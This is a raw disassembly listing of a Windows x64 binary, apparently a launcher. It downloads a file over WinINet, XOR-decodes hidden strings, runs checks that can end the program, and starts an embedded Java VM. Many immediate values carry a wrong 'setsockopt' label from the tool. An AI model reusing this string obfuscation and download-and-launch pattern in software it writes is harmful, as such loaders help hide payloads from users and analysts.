mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bfa6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x680], r12
mov qword [rbp + 0x688], setsockopt
mov byte [rbp + 0x670], 0
mov rdx, qword [rbp + 0x6a8]
cmp rdx, 0x10
jb 0x14000c008
inc rdx
mov rcx, qword [rbp + 0x690]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c003
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c003
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x6a0], r12
mov qword [rbp + 0x6a8], setsockopt
mov byte [rbp + 0x690], 0
mov rdx, qword [rbp + 0x608]
cmp rdx, 0x10
jb 0x14000c065
inc rdx
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c060
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c060
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x600], r12
mov qword [rbp + 0x608], setsockopt
mov byte [rbp + 0x5f0], 0
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x14000c0c2
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c0bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c0bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x5a0], r12
mov qword [rbp + 0x5a8], setsockopt
mov byte [rbp + 0x590], 0
lea rcx, [rbp + 0xc28]
call fcn.140006570
lea rcx, [rbp + 0xbd8]
call fcn.140005f60
nop
mov rax, qword [rbp + 0xbc0]
mov rbx, qword [rax + 0x30]
test rbx, rbx
je 0x14000c116
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + ioctlsocket]
mov rbx, qword [rbx + 0x20]
test rbx, rbx
jne 0x14000c104
lock xadd dword [0x14002f678], r13d
cmp r13d, 1
jne 0x14000c12b
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rbp + 0xbc0]
call fcn.140003070
nop
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x14000c17c
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c177
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c177
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
xor eax, eax
mov rcx, qword [rbp + 0x1230]
xor rcx, rsp
call fcn.140017fd0
lea r11, [rsp + 0x1350]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edi, r13d
lea rdx, [0x140020a10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000ede0
cmp dword [rbp + 0x564], 0
jbe 0x14000c56f
movsd xmm6, qword [0x140021d50]
nop
lea r9, [rbp + 0x564]
mov r8d, 0x400
lea rdx, [rbp + 0xe30]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x848]
mov r8d, dword [rbp + 0x564]
lea rdx, [rbp + 0xe30]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [rbp + 0x564]
add r12d, ecx
mov eax, r12d
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mov eax, dword [rbp + 0x568]
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
divsd xmm1, xmm0
mulsd xmm1, xmm6
cvttsd2si r15d, xmm1
cmp edi, r15d
je 0x14000c560
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x9a0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140021378]
mov qword [rbp + 0x9a0], rax
lea rax, [0x140020e90]
mov qword [rbp + 0x9b0], rax
lea rcx, [rbp + 0xa38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
bts r14d, 0x18
mov dword [rsp + 0x48], r14d
xor r8d, r8d
lea rdx, [rbp + 0x9b8]
lea rcx, [rbp + 0x9a0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x9a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x99c], edx
lea rcx, [rbp + 0x9b8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x9b8], rax
xor edi, edi
mov qword [rbp + 0xa20], rdi
mov dword [rbp + 0xa28], edi
mov edx, r15d
lea rcx, [rbp + 0x9b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400214d8]
lea rcx, [rbp + 0x9b0]
call fcn.14000ede0
nop
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], setsockopt
mov byte [rbp + 0xa0], dil
bts r14d, 0x1a
mov dword [rsp + 0x48], r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov ecx, dword [rbp + 0xa28]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14000c3d4
lea rcx, [rbp + 0x9b8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x14000c3ce
lea rcx, [rbp + 0x9b8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbase_void_const___ptr64]
mov rsi, rax
lea rcx, [rbp + 0x9b8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov rdi, rax
cmp rax, qword [rbp + 0xa20]
cmovb rdi, qword [rbp + 0xa20]
sub rdi, rsi
lea rcx, [rbp + 0x9b8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
jmp 0x14000c418
mov ecx, dword [rbp + 0xa28]
test cl, 4
jne 0x14000c410
lea rcx, [rbp + 0x9b8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
test rax, rax
je 0x14000c410
lea rcx, [rbp + 0x9b8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
mov rsi, rax
lea rcx, [rbp + 0x9b8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::egptr_void_const___ptr64]
mov rdi, rax
sub rdi, rsi
jmp 0x14000c418
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp + 0x20]
test rsi, rsi
je 0x14000c42f
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp + 0xa0]
call fcn.140006350
btr r14d, 0x1a
bts r14d, 0x19
cmp ebx, 1
jl 0x14000c469
nop
lea rdx, [0x140021418]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000ede0
mov rcx, rax
lea rdx, [0x14000efb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
sub rbx, 1
jne 0x14000c440
mov ebx, dword [rbp + 0xb0]
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f890
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14000c4db
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c4d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c9d8
call fcn.140018284
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], setsockopt
mov byte [rbp + 0xa0], 0
mov edi, r15d
mov rax, qword [rbp + 0x9a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x99c], edx
lea rcx, [rbp + 0x9b8]
call fcn.140005a20
lea rcx, [rbp + 0x9c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xa38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov ecx, dword [rbp + 0x564]
mov rsi, qword [rbp + 0x288]
mov r15, qword [rbp + 0x1e0]
test ecx, ecx
jne 0x14000c1e0
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14000efd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x80], rax
xor r12d, r12d
mov qword [rbp + 0x3b0], r12
mov qword [rbp + 0x3c0], r12
mov qword [rbp + 0x3c8], setsockopt
lea r8d, [r12 + 3]
lea rdx, [0x1400214dc]
lea rcx, [rbp + 0x3b0]
call fcn.140006350
nop
mov dword [rbp - 0x78], 0x2928320c
mov dword [rbp - 0x74], 0x3e2a2221
mov dword [rbp - 0x70], 0x3d297c25
mov word [rbp - 0x6c], 0x25
mov byte [rbp - 0x6a], 1
mov ecx, r12d
lea eax, [rcx + 0x49]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 0xd
jb 0x14000c610
mov byte [rbp - 0x6a], 0
mov qword [rbp + 0x3d0], r12
mov qword [rbp + 0x3e0], r12
mov qword [rbp + 0x3e8], setsockopt
mov r8d, 0xd
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x3d0]
call fcn.140006350
nop
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
call fcn.140012910
lea rcx, str.Excellent.zip
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movabs r14, 0x7fffffffffffffff
call fcn.1400093d0
test al, al
jne 0x14000d988
call fcn.140009860
test al, al
jne 0x14000d988
mov qword [rbp + 0x7d0], r12
movdqa xmm0, xmmword [0x140021d60]
movdqu xmmword [rbp + 0x7e0], xmm0
mov byte [rbp + 0x7d0], al
mov r8d, 0x17
lea rdx, str.C:Excellentmemory.txt
lea rcx, [rbp + 0x7d0]
call fcn.140006350
nop
mov qword [rbp + 0xaa0], r12
movdqa xmm0, xmmword [0x140021d60]
movdqu xmmword [rbp + 0xab0], xmm0
mov byte [rbp + 0xaa0], 0
mov qword [rbp + 0x770], r12
mov qword [rbp + 0x780], r12
mov qword [rbp + 0x788], setsockopt
mov byte [rbp + 0x770], 0
mov r8d, 4
lea rdx, str.4000
lea rcx, [rbp + 0x770]
call fcn.140006350
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xcd0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x7d0]
cmp qword [rbp + 0x7e8], 0x10
cmovae rdx, qword [rbp + 0x7d0]
lea rcx, [rbp + 0xcd0]
call fcn.14000ead0
mov rax, qword [rbp + 0xcd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xcd0], rax
mov rax, qword [rbp + 0xcd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xccc], edx
movdqa xmm0, xmmword [0x140021e10]
movdqu xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x40], 0x752f3338
mov dword [rbp + 0x44], 0x717073
mov byte [rbp + 0x48], 1
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx + 0x30], al
inc rcx
cmp rcx, 0x17
jb 0x14000c7c0
mov byte [rbp + 0x48], 0
mov qword [rbp + 0x290], r12
mov qword [rbp + 0x2a0], r12
mov qword [rbp + 0x2a8], setsockopt
mov r8d, 0x17
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x290]
call fcn.140006350
lea rdx, [rbp + 0x290]
call fcn.1400130a0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400093d0
test al, al
jne 0x14000d90d
call fcn.140009860
test al, al
jne 0x14000d90d
movdqa xmm0, xmmword [0x140021e00]
movdqu xmmword [rbp + 0xf8], xmm0
mov word [rbp + 0x108], 0x38
mov byte [rbp + 0x10a], 1
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx + 0xf8], al
inc rcx
cmp rcx, 0x11
jb 0x14000c860
mov byte [rbp + 0x10a], 0
mov qword [rbp + 0x750], r12
mov qword [rbp + 0x760], r12
mov qword [rbp + 0x768], setsockopt
mov byte [rbp + 0x750], 0
mov r8d, setsockopt
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x750]
call fcn.140006350
nop
movdqa xmm0, xmmword [0x140021f40]
movdqu xmmword [rbp + 0x88], xmm0
mov dword [rbp + 0x98], 0x37363d
mov byte [rbp + 0x9c], 1
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx + 0x88], al
inc rcx
cmp rcx, 0x13
jb 0x14000c8e0
mov byte [rbp + 0x9c], 0
mov qword [rbp + 0x730], r12
mov qword [rbp + 0x740], r12
mov qword [rbp + 0x748], setsockopt
mov byte [rbp + 0x730], 0
mov r8d, setsockopt
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x730]
call fcn.140006350
nop
mov rsi, qword [rbp + 0x760]
mov r15, qword [rbp + 0x740]
mov rax, r14
sub rax, rsi
cmp rax, r15
jb 0x14000da8e
lea r12, [rbp + 0x750]
cmp qword [rbp + 0x768], 0x10
cmovae r12, qword [rbp + 0x750]
lea rax, [rbp + 0x730]
cmp qword [rbp + 0x748], 0x10
cmovae rax, qword [rbp + 0x730]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x6b0], 0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x6c0], xmm0
lea r14, [r15 + rsi]
mov ebx, 0xf
lea rdi, [rbp + 0x6b0]
lea eax, [rbx + 7]
cmp r14, rbx
jbe 0x14000cabc
mov rbx, r14
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x14000ca5a
mov rbx, rcx
jmp 0x14000ca61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rbp - 0x68], 0x2339380c
mov word [rbp - 0x64], 0x3f
mov byte [rbp - 0x62], 1
movdqa xmm0, xmmword [0x140021e80]
movdqu xmmword [rbp + 0x500], xmm0
movdqa xmm1, xmmword [str._4__18]
movdqu xmmword [rbp + 0x510], xmm1
movdqa xmm0, xmmword [0x140021ef0]
movdqu xmmword [rbp + 0x520], xmm0
mov word [rbp + 0x530], pe_nt_image_headers64
lea rcx, [rbp - 0x68]
call fcn.14000db00
mov r8, rax
lea rcx, [rbp + 0x500]
call fcn.14000dad0
mov rdx, rax
xor ecx, ecx
lea r9d, [rcx + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x14000caa4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000da94
mov rcx, rax
call fcn.140017ff0
test rax, rax
je 0x14000ca9d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000cab5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000cab3
call fcn.140017ff0
mov rdi, rax
jmp 0x14000cab5
xor edi, edi
mov qword [rbp + 0x6b0], rdi
mov qword [rbp + 0x6c0], r14
mov qword [rbp + 0x6c8], rbx
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + rdi]
mov r8, r15
mov rdx, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x830], xmm0
mov qword [rbp + 0x840], rax
mov rsi, qword [rbp + 0x580]
movabs r12, 0x7fffffffffffffff
mov rax, r12
sub rax, rsi
cmp rax, 0xa
jb 0x14000da9a
lea r15, [rbp + 0x570]
cmp qword [rbp + 0x588], 0x10
cmovae r15, qword [rbp + 0x570]
xor eax, eax
mov qword [rbp + 0x248], rax
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x260], rax
lea r14, [rsi + 0xa]
mov edi, 0xf
lea rbx, [rbp + 0x248]
cmp r14, rdi
jbe 0x14000cbda
mov rdi, r14
or rdi, 0xf
cmp rdi, r12
jbe 0x14000cb76
mov rdi, r12
jmp 0x14000cb83
cmp rdi, 0x16
mov ecx, 0x16
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x14000cbc6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000daa0
mov rcx, rax
call fcn.140017ff0
test rax, rax
je 0x14000cbbf
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000cbd3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000cbd0
call fcn.140017ff0
mov rbx, rax
mov qword [rbp + 0x248], rbx
mov qword [rbp + 0x258], r14
mov qword [rbp + 0x260], rdi
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str._libraries]
movsd qword [rbx + rsi], xmm0
movzx eax, word [0x140021508]
mov word [rbx + rsi + 8], ax
mov byte [rbx + r14], 0
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x830]
call fcn.14000a790
nop
xor ebx, ebx
mov qword [rbp + 0x710], rbx
mov qword [rbp + 0x720], rbx
mov qword [rbp + 0x728], setsockopt
mov byte [rbp + 0x710], bl
mov r15, qword [rbp + 0x830]
mov rax, qword [rbp + 0x838]
mov qword [rsp + 0x40], rax
cmp r15, rax
je 0x14000cff1
nop word [rax + rax]
mov rdx, r15
lea rcx, [rbp + 0x6d0]
call fcn.140005da0
nop
mov rsi, qword [rbp + 0x580]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0xa
jb 0x14000dab2
lea r12, [rbp + 0x570]
cmp qword [rbp + 0x588], 0x10
cmovae r12, qword [rbp + 0x570]
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x160], rbx
mov qword [rbp + 0x168], rbx
lea r14, [rsi + 0xa]
mov edi, 0xf
lea rbx, [rbp + 0x150]
cmp r14, rdi
jbe 0x14000cd58
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000ccf3
mov rdi, rcx
jmp 0x14000cd00
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x14000cd40
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000daac
mov rcx, rax
call fcn.140017ff0
test rax, rax
je 0x14000d09d
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000cd51
test rcx, rcx
je 0x14000cd4f
call fcn.140017ff0
mov rbx, rax
jmp 0x14000cd51
xor ebx, ebx
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x168], rdi
mov r8, rsi
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.libraries_]
movsd qword [rbx + rsi], xmm0
movzx eax, word [0x140021518]
mov word [rbx + rsi + 8], ax
mov byte [rbx + r14], 0
lea rdx, [rbp + 0x6d0]
cmp qword [rbp + 0x6e8], 0x10
cmovae rdx, qword [rbp + 0x6d0]
mov r8, qword [rbp + 0x6e0]
lea rcx, [rbp + 0x150]
call fcn.1400064b0
xor ebx, ebx
mov qword [rbp + 0x210], rbx
mov qword [rbp + 0x220], rbx
mov qword [rbp + 0x228], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], setsockopt
mov byte [rax], bl
lea r8d, [rbx + 1]
lea rdx, [0x14002150c]
lea rcx, [rbp + 0x210]
call fcn.1400064b0
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xe8], rbx
mov qword [rbp + 0xf0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], setsockopt
mov byte [rax], bl
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0x10
cmovae rdx, qword [rbp + 0xd8]
mov r8, qword [rbp + 0xe8]
lea rcx, [rbp + 0x710]
call fcn.1400064b0
nop
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x14000ceb1
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ceac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d08f
call fcn.140018284
mov qword [rbp + 0xe8], rbx
mov qword [rbp + setsockopt0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x14000cf0b
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cf06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d096
call fcn.140018284
mov qword [rbp + 0x220], rbx
mov qword [rbp + 0x228], setsockopt
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x14000cf65
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cf60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d09d
call fcn.140018284
mov qword [rbp + 0x160], rbx
mov qword [rbp + 0x168], setsockopt
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x6e8]
cmp rdx, 0x10
jb 0x14000cfbf
inc rdx
mov rcx, qword [rbp + 0x6d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cfba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d0ed
call fcn.140018284
mov qword [rbp + 0x6e0], rbx
mov qword [rbp + 0x6e8], setsockopt
mov byte [rbp + 0x6d0], 0
add r15, 0x20
cmp r15, qword [rsp + 0x40]
jne 0x14000cc70
movabs r12, 0x7fffffffffffffff
lea rcx, [rbp + 0x6b0]
cmp qword [rbp + 0x6c8], 0x10
cmovae rcx, qword [rbp + 0x6b0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.JNI_CreateJavaVM
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14002f700], rax
mov r14, qword [rbp + 0x720]
mov rax, r12
sub rax, r14
cmp rax, 0x12
jb 0x14000daa6
lea r15, [rbp + 0x710]
cmp qword [rbp + 0x728], 0x10
cmovae r15, qword [rbp + 0x710]
mov qword [rbp + 0x6f0], rbx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x700], xmm0
lea rsi, [r14 + 0x12]
mov edi, 0xf
lea rbx, [rbp + 0x6f0]
cmp rsi, rdi
jbe 0x14000d10c
mov rdi, rsi
or rdi, 0xf
cmp rdi, r12
jbe 0x14000d0a4
mov rdi, r12
jmp 0x14000d0b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x14000d0f4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dab8
mov rcx, rax
call fcn.140017ff0
test rax, rax
je 0x14000d0ed
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000d105
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000d103
call fcn.140017ff0
mov rbx, rax
jmp 0x14000d105
xor ebx, ebx
mov qword [rbp + 0x6f0], rbx
mov qword [rbp + 0x700], rsi
mov qword [rbp + 0x708], rdi
movups xmm0, xmmword [str._Djava.class.path]
movups xmmword [rbx], xmm0
movzx eax, word [0x140021548]
mov word [rbx + 0x10], ax
lea rcx, [rbx + 0x12]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
lea r12, [rbp + 0x6f0]
cmp qword [rbp + 0x708], 0x10
cmovae r12, qword [rbp + 0x6f0]
mov r15, qword [rbp + 0x580]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x14
jb 0x14000dabe
lea r14, [rbp + 0x570]
cmp qword [rbp + 0x588], 0x10
cmovae r14, qword [rbp + 0x570]
xor eax, eax
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rax
lea rsi, [r15 + 0x14]
mov edi, 0xf
lea rbx, [rbp + 0x170]
cmp rsi, rdi
jbe 0x14000d232
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000d1ce
mov rdi, rcx
jmp 0x14000d1db
cmp rdi, 0x16
